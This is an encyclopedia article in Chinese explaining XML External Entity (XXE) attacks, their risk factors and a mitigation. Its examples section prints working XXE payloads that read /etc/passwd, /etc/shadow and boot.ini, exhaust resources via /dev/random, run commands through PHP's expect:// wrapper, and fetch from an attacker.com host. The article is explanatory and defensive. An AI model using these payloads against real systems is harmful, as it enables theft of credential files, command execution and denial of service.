XML外部實體攻擊
![]() | 此條目的語調或風格或許不合百科全書。 (2019年9月2日) |
XML外部實體攻擊是一種針對解析XML格式應用程式的攻擊類型之一。此類攻擊發生在配置不當的XML解析器處理指向外部實體的文檔時,可能會導致敏感文件洩露、拒絕服務攻擊、伺服器端請求偽造、埠掃描(解析器所在域)和其他系統影響。[1]
簡介
XML 1.0標準定義了XML文檔結構,同時定義了實體的概念,即某種類型的存儲單元。外部一般解析實體或外部參數解析實體通常簡稱為外部實體,攻擊者可聲明特定系統標識符來訪問伺服器本地或遠程內容。XML處理器假設系統標識符為可訪問的統一資源標誌符(URI),然後將同名的外部實體以系統標識符所指定的資源內容解除引用。若系統標識符被修改,則XML處理器可能會洩露應用程式通常無法訪問的秘密信息。類似的攻擊矢量可能會利用外部文檔類型定義(DTD)、外部樣式表和外部Schema等等,這些同樣會導致類似的外部資源包含攻擊。
此類攻擊利用系統標識符中的文件、Schema及相對路徑來洩露本地文件(如用戶數據等)。由於攻擊過程發生在處理XML文檔的應用程式中,攻擊者可濫用此受信的應用程式對其他內部系統進行攻擊,也可能通過http(s)請求洩露其他內部內容,亦可能對其他未受保護的內部服務進行跨站請求偽造攻擊。在部分情形下,攻擊者可通過解引用惡意URI的方式對存在內存損壞問題的XML處理庫進行攻擊,導致任意代碼執行(以應用程式所使用的帳戶)。其他攻擊針對持續返回數據的本地資源進行,可能會導致應用程式使用過多未釋放的執行緒或行程。
需要留意的是,應用程式無需明確返回數據來證明其受信息洩露問題的影響。攻擊者可利用受控制的DNS伺服器來傳輸數據至特定子域名。
風險因素
- 應用程式解析XML文檔;
- 應用程式允許用戶修改文檔類型定義中實體的系統標識符部分;
- XML處理器需驗證並處理文檔類型定義;
- XML處理器需解析文檔類型定義中的外部實體。
攻擊示例
下列攻擊示例來自《Testing for XML Injection (OWASP-DV-008)》。
訪問持續返回數據的本地資源
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
遠程代碼執行
當PHP載入「expect」模塊時,攻擊者可使用修改過的載荷來執行遠程代碼。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
洩露/etc/passwd或其他目標文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
緩和方案
由於XML文檔來自不受信的客戶端,伺服器通常無法有選擇性地進行數據驗證或忽略文檔類型定義中系統標識符部分的數據。因此,管理員應配置XML處理器使用本地靜態文件類型定義,並禁止XML文檔中所聲明的定義。
另請參閱
參考文獻
- ^ What Are XML External Entity (XXE) Attacks. Acunetix. [2019-09-02]. (原始內容存檔於2014-10-15).
外部連結
- OWASP XML External Entity (XXE) Prevention Cheat Sheet
- Timothy Morgan's 2014 Paper: XML Schema, DTD, and Entity Attacks - A Compendium of Known Techniques (頁面存檔備份,存於網際網路檔案館)
- Precursor presentation of above paper - at OWASP AppSec USA 2013 (頁面存檔備份,存於網際網路檔案館)
- CWE-611: Information Exposure Through XML External Entity Reference (頁面存檔備份,存於網際網路檔案館)
- CWE-827: Improper Control of Document Type Definition (頁面存檔備份,存於網際網路檔案館)
- Sascha Herzog's Presentation on XML External Entity Attacks - at OWASP AppSec Germany 2010 (頁面存檔備份,存於網際網路檔案館)
- PostgreSQL XXE vulnerability (頁面存檔備份,存於網際網路檔案館)
- SharePoint and DotNetNuke XXE Vulnerabilities, in French (頁面存檔備份,存於網際網路檔案館)
- XML Denial of Service Attacks and Defenses (in .NET) (頁面存檔備份,存於網際網路檔案館)
- Early (2002) BugTraq Article on XXE (頁面存檔備份,存於網際網路檔案館)
- XML 1.0 Extensible Markup Language (XML) 1.0 (Fifth Edition) (頁面存檔備份,存於網際網路檔案館)